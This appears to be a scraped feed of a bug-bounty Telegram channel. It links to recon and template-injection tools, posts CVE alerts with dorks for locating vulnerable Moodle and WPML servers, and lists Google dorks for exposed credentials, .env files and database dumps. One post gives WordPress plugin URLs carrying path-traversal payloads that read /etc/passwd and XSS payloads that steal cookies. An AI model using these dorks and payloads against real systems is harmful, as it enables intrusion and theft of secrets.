Brut Security

Wake Up! Your Mom and Dad are waiting for your success 🤩 They're both running out of time.

Please open Telegram to view this post

VIEW IN TELEGRAM

❤19😢4❤‍🔥2👍2🤣1

4.2K viewsSaumadip Mandal, 20:57

Brut Security

Dork King
https://dorkking.blindf.com/

❤5🤣2

3.59K viewsSaumadip Mandal, 05:02

Brut Security

Reset Password Feature Security Testing.pdf

72.4 KB

Reset Password Bug Bounty Guide

🤣1

3.57K viewsSaumadip Mandal, 08:26

Brut Security

☄️AutoRecon- It is a multi-threaded network reconnaissance tool which performs automated enumeration of services.

🔗https://github.com/Tib3rius/AutoRecon

Please open Telegram to view this post

VIEW IN TELEGRAM

GitHub

GitHub - AutoRecon/AutoRecon: AutoRecon is a multi-threaded network reconnaissance tool which performs automated enumeration of…

AutoRecon is a multi-threaded network reconnaissance tool which performs automated enumeration of services. - AutoRecon/AutoRecon

🤣3

3.65K viewsSaumadip Mandal, 08:32

Brut Security

CVE-2024-6386: RCE in WPML WordPress Plugin, 9.9 rating 🔥

Due to the lack of input validation, an attacker can execute code on the affected server.

Search at Netlas.io:
👉 Link: https://nt.ls/caxUk
👉 Dork: http.body:"plugins/wpml"

Read more: https://sec.stealthcopter.com/wpml-rce-via-twig-ssti/

👍6🤣1

4.12K viewsSaumadip Mandal, 08:40

Brut Security

Useful Google Dorks that bug bounty hunters can leverage to find sensitive information: 👇🏻

1. Discovering Exposed Files:
   - intitle:"index of" "site:target.com"
   - filetype:log inurl:log site:target.com
   - filetype:sql inurl:sql site:target.com
   - filetype:env inurl:.env site:target.com

2. Finding Sensitive Directories:
   - inurl:/phpinfo.php site:target.com
   - inurl:/admin site:target.com
   - inurl:/backup site:target.com
   - inurl:wp- site:target.com

3. Exposed Configuration Files:
   - filetype:config inurl:config site:target.com
   - filetype:ini inurl:wp-config.php site:target.com
   - filetype:json inurl:credentials site:target.com

4. Discovering Usernames and Passwords:
   - intext:"password" filetype:log site:target.com
   - intext:"username" filetype:log site:target.com
   - filetype:sql "password" site:target.com

5. Finding Database Files:
   - filetype:sql inurl:db site:target.com
   - filetype:sql inurl:dump site:target.com
   - filetype:bak inurl:db site:target.com

6. Exposed Git Repositories:
   - inurl:".git" site:target.com
   - inurl:"/.git/config" site:target.com
   - intitle:"index of" ".git" site:target.com

7. Finding Publicly Exposed Emails:
   - intext:"email" site:target.com
   - inurl:"contact" intext:"@target.com" -www.target.com
   - filetype:xls inurl:"email" site:target.com

8. Discovering Vulnerable Web Servers:
   - intitle:"Apache2 Ubuntu Default Page: It works" site:target.com
   - intitle:"Index of /" "Apache Server" site:target.com
   - intitle:"Welcome to nginx" site:target.com

9. Finding API Keys:
   - filetype:env "DB_PASSWORD" site:target.com
   - intext:"api_key" filetype:env site:target.com
   - intext:"AWS_ACCESS_KEY_ID" filetype:env site:target.com

10. Exposed Backup Files:
    - filetype:bak inurl:backup site:target.com
    - filetype:bak inurl:backup site:target.com
    - filetype:zip inurl:backup site:target.com
    - filetype:tgz inurl:backup site:target.com

Replace target.com with the domain or target you are focusing on.

#GoogleDorks
#BugHunting
#OSINT

❤13👍8🔥5🤣1

4.58K viewsSaumadip Mandal, 13:14

Brut Security

priv8-Nuclei-.zip

845.8 KB

❤10🤣3🔥2

3.81K viewsSaumadip Mandal, 17:28

Brut Security

Brut Security pinned Deleted message

17:42

Brut Security

💡 Bug Bounty Tip:
Sometimes you can easily find IDOR vulnerabilities simply by changing the request method! 🤑
Quick example 👇

❤6👍3🤣3

3.36K viewsMr Brut, 06:21

Brut Security

CVE-2024-43425: RCE in Moodle, PoC is available 🔥🔥🔥

Due to incomplete sanitization in the “calculated questions” feature, attackers can transmit and execute arbitrary code, which can be used to disclose students’ confidential information or disrupt the entire learning process.

Search at Netlas.io:
👉 Link: https://nt.ls/6WaFx
👉 Dork: http.headers.set_cookie:"MoodleSession"

Read more: https://blog.redteam-pentesting.de/2024/moodle-rce/

❤8👍5🤣1

3.44K viewsMr Brut, 07:14

Brut Security

https://github.com/epinna/tplmap

3.18K viewsMr Brut, edited 16:20

Brut Security

☄️TplMap - Server-Side Template Injection and Code Injection Detection and Exploitation Tool.

🔗

https://github.com/epinna/tplmap

🤖Join Our Discord - https://discord.gg/NTU2q8gU5K

Please open Telegram to view this post

VIEW IN TELEGRAM

👍4

3.11K viewsMr Brut, edited 10:17

Brut Security

⚠️ SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.

⚡https://github.com/vladko312/SSTImap

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥8

3.32K viewsMr Brut, edited 10:30

Brut Security

0:04

This media is not supported in your browser

VIEW IN TELEGRAM

🤣27😁4💯1

3.13K viewsMr Brut, 14:18

Brut Security

Presentation.pdf

3.9 MB

Deobfuscation and analysis
of client-side JavaScript code
to detect DOM-based XSS.

👍7

3.3K viewsMr Brut, edited 16:37

Brut Security

⚡️

Add this .PEM files in your wordlist

⚡️

minikube_test.pem
minikube.pem
test_key.pem
test_rsa_privkey.pem
test_rsa_privkey_encrypted.pem
rsakey.pem
key.pem
certificate.pem
private_key.pem
public_key.pem
privkey.pem
dhparams.pem
ios_push_certificate.pem
keycert.passwd.pem
ca1-key.pem
key-certbot.pem
key2048.pem
private.pem

Please open Telegram to view this post

VIEW IN TELEGRAM

👍7❤5👏5🔥2

3.32K viewsMr Brut, 18:17

Brut Security

⚡️Command for Hidden JS Parameter Discovery.
This command takes your recon game to the next level!⚡️

cat subs.txt | (gau --threads 20 --blacklist jpg,jpeg,gif,png,tiff,ttf,otf,woff,woff2,ico,svg,pdf,txt,mp4,avi,mov,mkv,exe,zip,tar,gz,rar,7z hakrawler --depth 5 --plain --insecure waybackurls || katana -d 5 --js-crawl --auto-redirect --extensions js,json,php,aspx,asp,jsp,html,htm --proxy

http://127.0.0.1:8080

) | sort -u | httpx --silent --threads 200 --status-code --title --tech-detect --content-length --server | tee -a httpx_full.txt | grep -Eiv '\.(eot|jpg|jpeg|gif|css|tif|tiff|png|ttf|otf|woff|woff2|ico|svg|txt|pdf|mp4|avi|mov|mkv|exe|zip|tar|gz|rar|7z|css|doc|docx|xls|xlsx|ppt|pptx)$' | while read url; do vars=$(curl -sL $url | grep -Eo "(var |let |const |function |class |import |export )[a-zA-Z0-9_]+" | sed -e 's, "$url"', -e 's/$var \|let \|const \|function \|class \|import \|export $//g' | grep -Eiv '\.js$|\. [a-zA-Z0-9]+\.[a-zA-Z0-9]+$' | sed 's/$/=

$FUZZ

/'); echo -e "\e[1;33m$url\e[1;32m$vars"; done | tee -a js_parameters.txt

❤18👍4

3.65K viewsMr Brut, 05:45

Brut Security

⚠️ DOMscan - Simple tool to scan a website for (DOM-based) XSS vulnerabilities and Open Redirects.

☄️

https://github.com/lauritzh/domscan

Please open Telegram to view this post

VIEW IN TELEGRAM

GitHub

GitHub - lauritzh/domscan: Simple tool to scan a website for (DOM-based) XSS vulnerabilities and Open Redirects.

Simple tool to scan a website for (DOM-based) XSS vulnerabilities and Open Redirects. - lauritzh/domscan

👍1

3.2K viewsMr Brut, 10:22

Brut Security

⚡️Wordpress Endpoints to look -
check this if you have these plugin. ⚡️

/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd

/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=../../../../../../../../../../etc/passwd

/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd

/wp-content/plugins/dzs-videogallery/admin/upload.php

/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php

/wp-content/plugins/hd-webplayer/playlist.php

/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥10👍5❤1

3.27K viewsMr Brut, 15:55

Brut Security

Brut Security pinned Deleted message

16:55

Brut Security

https://www.youtube.com/watch?v=4fN4-dufirM

YouTube

"There's Nothing We Can Do..." - Amour Plastique | 1 Hour | unXstapable

🐔🎀 𝒹❀𝓃𝓉 𝒻💍𝓇𝑔𝑒𝓉 𝓉❁ 𝓁𝒾𝓀𝑒 𝒶𝓃𝒹 𝓈𝓊𝒷𝓈𝒸𝓇𝒾𝒷𝑒 🎀🐔
𝒻💮𝓁𝓁♡𝓌 𝓂𝑒 🍩𝓃 𝒾𝓃𝓈𝓉𝒶𝑔𝓇𝒶𝓂 -
/ unxstapable

You can Support me if you want :) - / unxstapable